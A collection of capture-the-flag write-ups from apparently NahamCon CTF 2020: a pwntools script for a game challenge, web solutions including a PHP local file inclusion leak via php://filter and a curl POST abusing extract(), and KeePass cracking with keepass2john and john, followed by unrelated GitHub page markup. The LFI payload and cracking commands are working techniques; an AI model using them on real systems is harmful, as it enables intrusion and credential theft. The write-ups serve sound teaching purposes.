```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()```
***
# Web
## Agent 95They've given you a number, and taken away your name~
Connect here:\http://jh2i.com:50000
**flag{user_agents_undercover}**
**Solution:** Change User agent to Windows 95
## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??
Connect here:\http://jh2i.com:50003
**JCTF{spoooooky_ghosts_in_storage}**
**Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes
## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!
Connect here:\http://jh2i.com:50002
**flag{phon3_numb3r_3xtr4ct3d}**
**Solution:** With the challenge we are given a website with the following index page:

so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page:
`http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php`
and by going to this url we get the file base64 encoded:

```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php
The phonebook is located at phphonebook.php
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```
we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head>
<body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1>
<div id="im_container">
This phphonebook was made to look up all sorts of numbers! Have fun...
This phphonebook was made to look up all sorts of numbers! Have fun...
</div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div>
<div id="php_container"> </div>
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page:

burp suite catches the request and allows us to edit it:

we now only need to add an emergency variable and we get the flag:


with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag:

**Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion |
Given a keepass DB file.
Extract the db's password for cracking by `john` like so:
```keepass2john easy_keesy > keepasshash```
Then run `john` against the hash file (I used standard `rockyou.txt` as dictionary)
```john -format:keepass --wordlist=../rockyou.txt ziphash```
Password for DB is `monkey`. Open keepass db ([macpass, osx](https://macpassapp.org/)). Enter monkeys for pw.
Flag is the only password entry.
[Full writeup](https://bigpick.github.io/TodayILearned/articles/2020-06/nahamConCTF-writeups#easy-keesy) |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTF-writeups/noobctf-20 at master · noob-atbash/CTF-writeups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="9B05:B9C6:A886289:ACEBC0A:64121F97" data-pjax-transient="true"/><meta name="html-safe-nonce" content="6f5731719cae59b4ad190a5d8a06df9f65484aeba22969a1b9a2f72a75db29f7" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5QjA1OkI5QzY6QTg4NjI4OTpBQ0VCQzBBOjY0MTIxRjk3IiwidmlzaXRvcl9pZCI6IjU3MDY0MDY0MjcxODAwMTU1MTEiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="30064a8fe535077df08e359cd9440098a864adec95a32e3ee378e2f570490d80" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:268353024" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/noobctf-20 at master · noob-atbash/CTF-writeups"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/ac342befed4cf97ff0c7ddb1fbb300107da46a3c7a8154cbd039537ba9d43827/noob-atbash/CTF-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-writeups/noobctf-20 at master · noob-atbash/CTF-writeups" /><meta name="twitter:description" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/noobctf-20 at master · noob-atbash/CTF-writeups" /> <meta property="og:image" content="https://opengraph.githubassets.com/ac342befed4cf97ff0c7ddb1fbb300107da46a3c7a8154cbd039537ba9d43827/noob-atbash/CTF-writeups" /><meta property="og:image:alt" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/noobctf-20 at master · noob-atbash/CTF-writeups" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-writeups/noobctf-20 at master · noob-atbash/CTF-writeups" /><meta property="og:url" content="https://github.com/noob-atbash/CTF-writeups" /><meta property="og:description" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/noobctf-20 at master · noob-atbash/CTF-writeups" /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/noob-atbash/CTF-writeups git https://github.com/noob-atbash/CTF-writeups.git">
<meta name="octolytics-dimension-user_id" content="64429282" /><meta name="octolytics-dimension-user_login" content="noob-atbash" /><meta name="octolytics-dimension-repository_id" content="268353024" /><meta name="octolytics-dimension-repository_nwo" content="noob-atbash/CTF-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="268353024" /><meta name="octolytics-dimension-repository_network_root_nwo" content="noob-atbash/CTF-writeups" />
<link rel="canonical" href="https://github.com/noob-atbash/CTF-writeups/tree/master/noobctf-20" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
